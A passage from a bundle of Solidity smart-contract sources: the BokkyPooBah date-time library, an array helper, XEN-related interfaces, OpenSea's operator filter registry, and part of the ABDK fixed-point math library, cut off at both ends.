\", \",\n year.toString(),\n \" \",\n asPaddedString(hour),\n \":\",\n asPaddedString(minute),\n \" UTC\"\n )\n );\n }\n\n /**\n * @dev returns (year, month as string) components of a date by timestamp\n */\n function yearAndMonth(uint256 ts) external pure returns (uint256, string memory) {\n (uint256 year, uint256 month, , , , ) = BokkyPooBahsDateTimeLibrary.timestampToDateTime(ts);\n return (year, monthAsString(month));\n }\n}\n"
},
"/contracts/libs/BokkyPooBahsDateTimeLibrary.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n// ----------------------------------------------------------------------------\n// BokkyPooBah's DateTime Library v1.01\n//\n// A gas-efficient Solidity date and time library\n//\n// https://github.com/bokkypoobah/BokkyPooBahsDateTimeLibrary\n//\n// Tested date range 1970/01/01 to 2345/12/31\n//\n// Conventions:\n// Unit | Range | Notes\n// :-------- |:-------------:|:-----\n// timestamp | >= 0 | Unix timestamp, number of seconds since 1970/01/01 00:00:00 UTC\n// year | 1970 ... 2345 |\n// month | 1 ... 12 |\n// day | 1 ... 31 |\n// hour | 0 ... 23 |\n// minute | 0 ... 59 |\n// second | 0 ... 59 |\n// dayOfWeek | 1 ... 7 | 1 = Monday, ..., 7 = Sunday\n//\n//\n// Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018-2019. The MIT Licence.\n// ----------------------------------------------------------------------------\n\nlibrary BokkyPooBahsDateTimeLibrary {\n uint256 constant _SECONDS_PER_DAY = 24 * 60 * 60;\n uint256 constant _SECONDS_PER_HOUR = 60 * 60;\n uint256 constant _SECONDS_PER_MINUTE = 60;\n int256 constant _OFFSET19700101 = 2440588;\n\n uint256 constant _DOW_FRI = 5;\n uint256 constant _DOW_SAT = 6;\n\n // ------------------------------------------------------------------------\n // Calculate the number of days from 1970/01/01 to year/month/day using\n // the date conversion algorithm from\n // https://aa.usno.navy.mil/faq/JD_formula.html\n // and subtracting the offset 2440588 so that 1970/01/01 is day 0\n //\n // days = day\n // - 32075\n // + 1461 * (year + 4800 + (month - 14) / 12) / 4\n // + 367 * (month - 2 - (month - 14) / 12 * 12) / 12\n // - 3 * ((year + 4900 + (month - 14) / 12) / 100) / 4\n // - offset\n // ------------------------------------------------------------------------\n function _daysFromDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) private pure returns (uint256 _days) {\n require(year >= 1970);\n int256 _year = int256(year);\n int256 _month = int256(month);\n int256 _day = int256(day);\n\n int256 __days = _day -\n 32075 +\n (1461 * (_year + 4800 + (_month - 14) / 12)) /\n 4 +\n (367 * (_month - 2 - ((_month - 14) / 12) * 12)) /\n 12 -\n (3 * ((_year + 4900 + (_month - 14) / 12) / 100)) /\n 4 -\n _OFFSET19700101;\n\n _days = uint256(__days);\n }\n\n // ------------------------------------------------------------------------\n // Calculate year/month/day from the number of days since 1970/01/01 using\n // the date conversion algorithm from\n // http://aa.usno.navy.mil/faq/docs/JD_Formula.php\n // and adding the offset 2440588 so that 1970/01/01 is day 0\n //\n // int L = days + 68569 + offset\n // int N = 4 * L / 146097\n // L = L - (146097 * N + 3) / 4\n // year = 4000 * (L + 1) / 1461001\n // L = L - 1461 * year / 4 + 31\n // month = 80 * L / 2447\n // dd = L - 2447 * month / 80\n // L = month / 11\n // month = month + 2 - 12 * L\n // year = 100 * (N - 49) + year + L\n // ------------------------------------------------------------------------\n function _daysToDate(uint256 _days)\n private\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day\n )\n {\n int256 __days = int256(_days);\n\n int256 L = __days + 68569 + _OFFSET19700101;\n int256 N = (4 * L) / 146097;\n L = L - (146097 * N + 3) / 4;\n int256 _year = (4000 * (L + 1)) / 1461001;\n L = L - (1461 * _year) / 4 + 31;\n int256 _month = (80 * L) / 2447;\n int256 _day = L - (2447 * _month) / 80;\n L = _month / 11;\n _month = _month + 2 - 12 * L;\n _year = 100 * (N - 49) + _year + L;\n\n year = uint256(_year);\n month = uint256(_month);\n day = uint256(_day);\n }\n\n function timestampFromDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) internal pure returns (uint256 timestamp) {\n timestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY;\n }\n\n function timestampFromDateTime(\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n ) internal pure returns (uint256 timestamp) {\n timestamp =\n _daysFromDate(year, month, day) *\n _SECONDS_PER_DAY +\n hour *\n _SECONDS_PER_HOUR +\n minute *\n _SECONDS_PER_MINUTE +\n second;\n }\n\n function timestampToDate(uint256 timestamp)\n internal\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day\n )\n {\n (year, month, day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function timestampToDateTime(uint256 timestamp)\n internal\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n )\n {\n (year, month, day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n uint256 secs = timestamp % _SECONDS_PER_DAY;\n hour = secs / _SECONDS_PER_HOUR;\n secs = secs % _SECONDS_PER_HOUR;\n minute = secs / _SECONDS_PER_MINUTE;\n second = secs % _SECONDS_PER_MINUTE;\n }\n\n function isValidDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) internal pure returns (bool valid) {\n if (year >= 1970 && month > 0 && month <= 12) {\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > 0 && day <= daysInMonth) {\n valid = true;\n }\n }\n }\n\n function isValidDateTime(\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n ) internal pure returns (bool valid) {\n if (isValidDate(year, month, day)) {\n if (hour < 24 && minute < 60 && second < 60) {\n valid = true;\n }\n }\n }\n\n function isLeapYear(uint256 timestamp) internal pure returns (bool leapYear) {\n (uint256 year, , ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n leapYear = _isLeapYear(year);\n }\n\n function _isLeapYear(uint256 year) private pure returns (bool leapYear) {\n leapYear = ((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0);\n }\n\n function isWeekDay(uint256 timestamp) internal pure returns (bool weekDay) {\n weekDay = getDayOfWeek(timestamp) <= _DOW_FRI;\n }\n\n function isWeekEnd(uint256 timestamp) internal pure returns (bool weekEnd) {\n weekEnd = getDayOfWeek(timestamp) >= _DOW_SAT;\n }\n\n function getDaysInMonth(uint256 timestamp) internal pure returns (uint256 daysInMonth) {\n (uint256 year, uint256 month, ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n daysInMonth = _getDaysInMonth(year, month);\n }\n\n function _getDaysInMonth(uint256 year, uint256 month) private pure returns (uint256 daysInMonth) {\n if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {\n daysInMonth = 31;\n } else if (month != 2) {\n daysInMonth = 30;\n } else {\n daysInMonth = _isLeapYear(year) ? 29 : 28;\n }\n }\n\n // 1 = Monday, 7 = Sunday\n function getDayOfWeek(uint256 timestamp) internal pure returns (uint256 dayOfWeek) {\n uint256 _days = timestamp / _SECONDS_PER_DAY;\n dayOfWeek = ((_days + 3) % 7) + 1;\n }\n\n function getYear(uint256 timestamp) internal pure returns (uint256 year) {\n (year, , ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getMonth(uint256 timestamp) internal pure returns (uint256 month) {\n (, month, ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getDay(uint256 timestamp) internal pure returns (uint256 day) {\n (, , day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getHour(uint256 timestamp) internal pure returns (uint256 hour) {\n uint256 secs = timestamp % _SECONDS_PER_DAY;\n hour = secs / _SECONDS_PER_HOUR;\n }\n\n function getMinute(uint256 timestamp) internal pure returns (uint256 minute) {\n uint256 secs = timestamp % _SECONDS_PER_HOUR;\n minute = secs / _SECONDS_PER_MINUTE;\n }\n\n function getSecond(uint256 timestamp) internal pure returns (uint256 second) {\n second = timestamp % _SECONDS_PER_MINUTE;\n }\n\n function addYears(uint256 timestamp, uint256 _years) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n year += _years;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp >= timestamp);\n }\n\n function addMonths(uint256 timestamp, uint256 _months) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n month += _months;\n year += (month - 1) / 12;\n month = ((month - 1) % 12) + 1;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp >= timestamp);\n }\n\n function addDays(uint256 timestamp, uint256 _days) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _days * _SECONDS_PER_DAY;\n require(newTimestamp >= timestamp);\n }\n\n function addHours(uint256 timestamp, uint256 _hours) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _hours * _SECONDS_PER_HOUR;\n require(newTimestamp >= timestamp);\n }\n\n function addMinutes(uint256 timestamp, uint256 _minutes) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _minutes * _SECONDS_PER_MINUTE;\n require(newTimestamp >= timestamp);\n }\n\n function addSeconds(uint256 timestamp, uint256 _seconds) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _seconds;\n require(newTimestamp >= timestamp);\n }\n\n function subYears(uint256 timestamp, uint256 _years) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n year -= _years;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp <= timestamp);\n }\n\n function subMonths(uint256 timestamp, uint256 _months) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n uint256 yearMonth = year * 12 + (month - 1) - _months;\n year = yearMonth / 12;\n month = (yearMonth % 12) + 1;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp <= timestamp);\n }\n\n function subDays(uint256 timestamp, uint256 _days) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _days * _SECONDS_PER_DAY;\n require(newTimestamp <= timestamp);\n }\n\n function subHours(uint256 timestamp, uint256 _hours) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _hours * _SECONDS_PER_HOUR;\n require(newTimestamp <= timestamp);\n }\n\n function subMinutes(uint256 timestamp, uint256 _minutes) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _minutes * _SECONDS_PER_MINUTE;\n require(newTimestamp <= timestamp);\n }\n\n function subSeconds(uint256 timestamp, uint256 _seconds) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _seconds;\n require(newTimestamp <= timestamp);\n }\n\n function diffYears(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _years) {\n require(fromTimestamp <= toTimestamp);\n (uint256 fromYear, , ) = _daysToDate(fromTimestamp / _SECONDS_PER_DAY);\n (uint256 toYear, , ) = _daysToDate(toTimestamp / _SECONDS_PER_DAY);\n _years = toYear - fromYear;\n }\n\n function diffMonths(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _months) {\n require(fromTimestamp <= toTimestamp);\n (uint256 fromYear, uint256 fromMonth, ) = _daysToDate(fromTimestamp / _SECONDS_PER_DAY);\n (uint256 toYear, uint256 toMonth, ) = _daysToDate(toTimestamp / _SECONDS_PER_DAY);\n _months = toYear * 12 + toMonth - fromYear * 12 - fromMonth;\n }\n\n function diffDays(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _days) {\n require(fromTimestamp <= toTimestamp);\n _days = (toTimestamp - fromTimestamp) / _SECONDS_PER_DAY;\n }\n\n function diffHours(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _hours) {\n require(fromTimestamp <= toTimestamp);\n _hours = (toTimestamp - fromTimestamp) / _SECONDS_PER_HOUR;\n }\n\n function diffMinutes(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _minutes) {\n require(fromTimestamp <= toTimestamp);\n _minutes = (toTimestamp - fromTimestamp) / _SECONDS_PER_MINUTE;\n }\n\n function diffSeconds(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _seconds) {\n require(fromTimestamp <= toTimestamp);\n _seconds = toTimestamp - fromTimestamp;\n }\n}\n"
},
"/contracts/libs/Array.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nlibrary Array {\n function idx(uint256[] memory arr, uint256 item) internal pure returns (uint256 i) {\n for (i = 1; i <= arr.length; i++) {\n if (arr[i - 1] == item) {\n return i;\n }\n }\n i = 0;\n }\n\n function addItem(uint256[] storage arr, uint256 item) internal {\n if (idx(arr, item) == 0) {\n arr.push(item);\n }\n }\n\n function removeItem(uint256[] storage arr, uint256 item) internal {\n uint256 i = idx(arr, item);\n if (i > 0) {\n arr[i - 1] = arr[arr.length - 1];\n arr.pop();\n }\n }\n\n function contains(uint256[] memory container, uint256[] memory items) internal pure returns (bool) {\n if (items.length == 0) return true;\n for (uint256 i = 0; i < items.length; i++) {\n bool itemIsContained = false;\n for (uint256 j = 0; j < container.length; j++) {\n itemIsContained = items[i] == container[j];\n }\n if (!itemIsContained) return false;\n }\n return true;\n }\n\n function asSingletonArray(uint256 element) internal pure returns (uint256[] memory) {\n uint256[] memory array = new uint256[](1);\n array[0] = element;\n return array;\n }\n\n function hasDuplicatesOrZeros(uint256[] memory array) internal pure returns (bool) {\n for (uint256 i = 0; i < array.length; i++) {\n if (array[i] == 0) return true;\n for (uint256 j = 0; j < array.length; j++) {\n if (array[i] == array[j] && i != j) return true;\n }\n }\n return false;\n }\n\n function hasRoguesOrZeros(uint256[] memory array) internal pure returns (bool) {\n uint256 _first = array[0];\n for (uint256 i = 0; i < array.length; i++) {\n if (array[i] == 0 || array[i] != _first) return true;\n }\n return false;\n }\n}\n"
},
"/contracts/interfaces/IXENTorrent.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IXENTorrent {\n event StartTorrent(address indexed user, uint256 count, uint256 term);\n event EndTorrent(address indexed user, uint256 tokenId, address to);\n\n function bulkClaimRank(uint256 count, uint256 term) external returns (uint256);\n\n function bulkClaimMintReward(uint256 tokenId, address to) external;\n}\n"
},
"/contracts/interfaces/IXENProxying.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IXENProxying {\n function callClaimRank(uint256 term) external;\n\n function callClaimMintReward(address to) external;\n\n function powerDown() external;\n}\n"
},
"/contracts/interfaces/IERC2771.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IERC2771 {\n function isTrustedForwarder(address forwarder) external;\n}\n"
},
"operator-filter-registry/src/OperatorFilterer.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {IOperatorFilterRegistry} from \"./IOperatorFilterRegistry.sol\";\n\n/**\n * @title OperatorFilterer\n * @notice Abstract contract whose constructor automatically registers and optionally subscribes to or copies another\n * registrant's entries in the OperatorFilterRegistry.\n * @dev This smart contract is meant to be inherited by token contracts so they can use the following:\n * - `onlyAllowedOperator` modifier for `transferFrom` and `safeTransferFrom` methods.\n * - `onlyAllowedOperatorApproval` modifier for `approve` and `setApprovalForAll` methods.\n */\nabstract contract OperatorFilterer {\n error OperatorNotAllowed(address operator);\n\n IOperatorFilterRegistry public constant OPERATOR_FILTER_REGISTRY =\n IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E);\n\n constructor(address subscriptionOrRegistrantToCopy, bool subscribe) {\n // If an inheriting token contract is deployed to a network without the registry deployed, the modifier\n // will not revert, but the contract will need to be registered with the registry once it is deployed in\n // order for the modifier to filter addresses.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (subscribe) {\n OPERATOR_FILTER_REGISTRY.registerAndSubscribe(address(this), subscriptionOrRegistrantToCopy);\n } else {\n if (subscriptionOrRegistrantToCopy != address(0)) {\n OPERATOR_FILTER_REGISTRY.registerAndCopyEntries(address(this), subscriptionOrRegistrantToCopy);\n } else {\n OPERATOR_FILTER_REGISTRY.register(address(this));\n }\n }\n }\n }\n\n modifier onlyAllowedOperator(address from) virtual {\n // Allow spending tokens from addresses with balance\n // Note that this still allows listings and marketplaces with escrow to transfer tokens if transferred\n // from an EOA.\n if (from != msg.sender) {\n _checkFilterOperator(msg.sender);\n }\n _;\n }\n\n modifier onlyAllowedOperatorApproval(address operator) virtual {\n _checkFilterOperator(operator);\n _;\n }\n\n function _checkFilterOperator(address operator) internal view virtual {\n // Check registry code length to facilitate testing in environments without a deployed registry.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (!OPERATOR_FILTER_REGISTRY.isOperatorAllowed(address(this), operator)) {\n revert OperatorNotAllowed(operator);\n }\n }\n }\n}\n"
},
"operator-filter-registry/src/IOperatorFilterRegistry.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\ninterface IOperatorFilterRegistry {\n function isOperatorAllowed(address registrant, address operator) external view returns (bool);\n function register(address registrant) external;\n function registerAndSubscribe(address registrant, address subscription) external;\n function registerAndCopyEntries(address registrant, address registrantToCopy) external;\n function unregister(address addr) external;\n function updateOperator(address registrant, address operator, bool filtered) external;\n function updateOperators(address registrant, address[] calldata operators, bool filtered) external;\n function updateCodeHash(address registrant, bytes32 codehash, bool filtered) external;\n function updateCodeHashes(address registrant, bytes32[] calldata codeHashes, bool filtered) external;\n function subscribe(address registrant, address registrantToSubscribe) external;\n function unsubscribe(address registrant, bool copyExistingEntries) external;\n function subscriptionOf(address addr) external returns (address registrant);\n function subscribers(address registrant) external returns (address[] memory);\n function subscriberAt(address registrant, uint256 index) external returns (address);\n function copyEntriesOf(address registrant, address registrantToCopy) external;\n function isOperatorFiltered(address registrant, address operator) external returns (bool);\n function isCodeHashOfFiltered(address registrant, address operatorWithCode) external returns (bool);\n function isCodeHashFiltered(address registrant, bytes32 codeHash) external returns (bool);\n function filteredOperators(address addr) external returns (address[] memory);\n function filteredCodeHashes(address addr) external returns (bytes32[] memory);\n function filteredOperatorAt(address registrant, uint256 index) external returns (address);\n function filteredCodeHashAt(address registrant, uint256 index) external returns (bytes32);\n function isRegistered(address addr) external returns (bool);\n function codeHashOf(address addr) external returns (bytes32);\n}\n"
},
"operator-filter-registry/src/DefaultOperatorFilterer.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {OperatorFilterer} from \"./OperatorFilterer.sol\";\n\n/**\n * @title DefaultOperatorFilterer\n * @notice Inherits from OperatorFilterer and automatically subscribes to the default OpenSea subscription.\n */\nabstract contract DefaultOperatorFilterer is OperatorFilterer {\n address constant DEFAULT_SUBSCRIPTION = address(0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6);\n\n constructor() OperatorFilterer(DEFAULT_SUBSCRIPTION, true) {}\n}\n"
},
"abdk-libraries-solidity/ABDKMath64x64.sol": {
"content": "// SPDX-License-Identifier: BSD-4-Clause\n/*\n * ABDK Math 64.64 Smart Contract Library. Copyright © 2019 by ABDK Consulting.\n * Author: Mikhail Vladimirov <mikhail.vladimirov@gmail.com>\n */\npragma solidity ^0.8.0;\n\n/**\n * Smart contract library of mathematical functions operating with signed\n * 64.64-bit fixed point numbers. Signed 64.64-bit fixed point number is\n * basically a simple fraction whose numerator is signed 128-bit integer and\n * denominator is 2^64. As long as denominator is always the same, there is no\n * need to store it, thus in Solidity signed 64.64-bit fixed point numbers are\n * represented by int128 type holding only the numerator.\n */\nlibrary ABDKMath64x64 {\n /*\n * Minimum value signed 64.64-bit fixed point number may have. \n */\n int128 private constant MIN_64x64 = -0x80000000000000000000000000000000;\n\n /*\n * Maximum value signed 64.64-bit fixed point number may have. \n */\n int128 private constant MAX_64x64 = 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n\n /**\n * Convert signed 256-bit integer number into signed 64.64-bit fixed point\n * number. Revert on overflow.\n *\n * @param x signed 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function fromInt (int256 x) internal pure returns (int128) {\n unchecked {\n require (x >= -0x8000000000000000 && x <= 0x7FFFFFFFFFFFFFFF);\n return int128 (x << 64);\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into signed 64-bit integer number\n * rounding down.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64-bit integer number\n */\n function toInt (int128 x) internal pure returns (int64) {\n unchecked {\n return int64 (x >> 64);\n }\n }\n\n /**\n * Convert unsigned 256-bit integer number into signed 64.64-bit fixed point\n * number. Revert on overflow.\n *\n * @param x unsigned 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function fromUInt (uint256 x) internal pure returns (int128) {\n unchecked {\n require (x <= 0x7FFFFFFFFFFFFFFF);\n return int128 (int256 (x << 64));\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into unsigned 64-bit integer\n * number rounding down. Revert on underflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return unsigned 64-bit integer number\n */\n function toUInt (int128 x) internal pure returns (uint64) {\n unchecked {\n require (x >= 0);\n return uint64 (uint128 (x >> 64));\n }\n }\n\n /**\n * Convert signed 128.128 fixed point number into signed 64.64-bit fixed point\n * number rounding down. Revert on overflow.\n *\n * @param x signed 128.128-bin fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function from128x128 (int256 x) internal pure returns (int128) {\n unchecked {\n int256 result = x >> 64;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into signed 128.128 fixed point\n * number.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 128.128 fixed point number\n */\n function to128x128 (int128 x) internal pure returns (int256) {\n unchecked {\n return int256 (x) << 64;\n }\n }\n\n /**\n * Calculate x + y. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function add (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) + y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x - y. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function sub (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) - y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x * y rounding down. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function mul (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) * y >> 64;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x * y rounding towards zero, where x is signed 64.64 fixed point\n * number and y is signed 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64 fixed point number\n * @param y signed 256-bit integer number\n * @return signed 256-bit integer number\n */\n function muli (int128 x, int256 y) internal pure returns (int256) {\n unchecked {\n if (x == MIN_64x64) {\n require (y >= -0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF &&\n y <= 0x1000000000000000000000000000000000000000000000000);\n return -y << 63;\n } else {\n bool negativeResult = false;\n if (x < 0) {\n x = -x;\n negativeResult = true;\n }\n if (y < 0) {\n y = -y; // We rely on overflow behavior here\n negativeResult = !negativeResult;\n }\n uint256 absoluteResult = mulu (x, uint256 (y));\n if (negativeResult) {\n require (absoluteResult <=\n 0x8000000000000000000000000000000000000000000000000000000000000000);\n return -int256 (absoluteResult); // We rely on overflow behavior here\n } else {\n require (absoluteResult <=\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return int256 (absoluteResult);\n }\n }\n }\n }\n\n /**\n * Calculate x * y rounding down, where x is signed 64.64 fixed point number\n * and y is unsigned 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64 fixed point number\n * @param y unsigned 256-bit integer number\n * @return unsigned 256-bit integer number\n */\n function mulu (int128 x, uint256 y) internal pure returns (uint256) {\n unchecked {\n if (y == 0) return 0;\n\n require (x >= 0);\n\n uint256 lo = (uint256 (int256 (x)) * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) >> 64;\n uint256 hi = uint256 (int256 (x)) * (y >> 128);\n\n require (hi <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n hi <<= 64;\n\n require (hi <=\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF - lo);\n return hi + lo;\n }\n }\n\n /**\n * Calculate x / y rounding towards zero. Revert on overflow or when y is\n * zero.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function div (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n int256 result = (int256 (x) << 64) / y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are signed 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x signed 256-bit integer number\n * @param y signed 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function divi (int256 x, int256 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n\n bool negativeResult = false;\n if (x < 0) {\n x = -x; // We rely on overflow behavior here\n negativeResult = true;\n }\n if (y < 0) {\n y = -y; // We rely on overflow behavior here\n negativeResult = !negativeResult;\n }\n uint128 absoluteResult = divuu (uint256 (x), uint256 (y));\n if (negativeResult) {\n require (absoluteResult <= 0x80000000000000000000000000000000);\n return -int128 (absoluteResult); // We rely on overflow behavior here\n } else {\n require (absoluteResult <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return int128 (absoluteResult); // We rely on overflow behavior here\n }\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x unsigned 256-bit integer number\n * @param y unsigned 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function divu (uint256 x, uint256 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n uint128 result = divuu (x, y);\n require (result <= uint128 (MAX_64x64));\n return int128 (result);\n }\n }\n\n /**\n * Calculate -x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function neg (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != MIN_64x64);\n return -x;\n }\n }\n\n /**\n * Calculate |x|. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function abs (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != MIN_64x64);\n return x < 0 ? -x : x;\n }\n }\n\n /**\n * Calculate 1 / x rounding towards zero. Revert on overflow or when x is\n * zero.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function inv (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != 0);\n int256 result = int256 (0x100000000000000000000000000000000) / x;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate arithmetics average of x and y, i.e. (x + y) / 2 rounding down.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function avg (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n return int128 ((int256 (x) + int256 (y)) >> 1);\n }\n }\n\n /**\n * Calculate geometric average of x and y, i.e. sqrt (x * y) rounding down.\n * Revert on overflow or in case x * y is negative.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function gavg (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 m = int256 (x) * int256 (y);\n require (m >= 0);\n require (m <\n 0x4000000000000000000000000000000000000000000000000000000000000000);\n return int128 (sqrtu (uint256 (m)));\n }\n }\n\n /**\n * Calculate x^y assuming 0^0 is 1, where x is signed 64.64 fixed point number\n * and y is unsigned 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y uint256 value\n * @return signed 64.64-bit fixed point number\n */\n function pow (int128 x, uint256 y) internal pure returns (int128) {\n unchecked {\n bool negative = x < 0 && y & 1 